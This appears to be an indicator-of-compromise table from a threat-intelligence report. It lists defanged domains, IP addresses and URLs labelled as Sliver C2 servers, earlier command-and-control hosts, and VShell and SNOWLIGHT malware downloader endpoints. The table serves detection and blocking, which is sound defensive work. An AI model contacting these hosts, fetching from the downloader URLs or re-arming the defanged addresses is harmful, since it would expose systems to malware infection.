Domainevil[.]gooogleasia[.]comIdentified subdomain
Domainaccount[.]gooogleasia[.]comIdentified subdomain
Domainks[.]evil[.]gooogleasia[.]comIdentified subdomain
Domainbtt[.]evil[.]gooogleasia[.]comIdentified subdomain
IP Address34[.]150[.]33[.]237Hosted gooogleasia[.]com
IP Address34[.]96[.]169[.]109Hosted gooogleasia[.]com
IP Address34[.]92[.]255[.]51Hosted gooogleasia[.]com
IP Address34[.]131[.]20[.]34Hosted gooogleasia[.]com
IP Address34[.]131[.]242[.]33Hosted gooogleasia[.]com
IP Address34[.]126[.]97[.]166Hosted gooogleasia[.]com
Domainmtls[.]sex666vr[.]comSliver C2
Domainwg[.]gooogleasia[.]comSliver C2
Domainhttps[.]sex666vr[.]comSliver C2
Domainsamsungcdn[.]comPrevious C2
URLhttp://47[.]97[.]176[.]108:8887/?a=l64&h=47.97.176.108&t=ws_&p=8887VShell Downloader
URLhttp://images.windowstimes[.]online/?a=l64&h=images.windowstimes[.]online&t=ws_&p=80VShell Downloader
Domainstart[.]bootstrapcdn[.]funPrevious C2
Domainmcafeecdn[.]xyzPrevious C2
URLhttp://124[.]221[.]120[.]25:2222/vs666SNOWLIGHT Downloader
Domainchmobank[.]comPrevious C2
URLhttp://lin[.]huionepay[.]me:2086/?a=l64&h=lin.huionepay.me&t=ws_&p=2086Ongoing campaign – SNOWLIGHT Downloader
URLhttp://lin[.]telegrams[.]icu:2086/?a=l64&h=lin.telegrams.icu&t=ws_&p=2086Ongoing campaign – SNOWLIGHT Downloader
URLhttp://lin[.]c1oudf1are[.]com:42323/?a=l64&h=lin.c1oudf1are.com&t=ws_&p=42323Ongoing campaign – SNOWLIGHT Downloader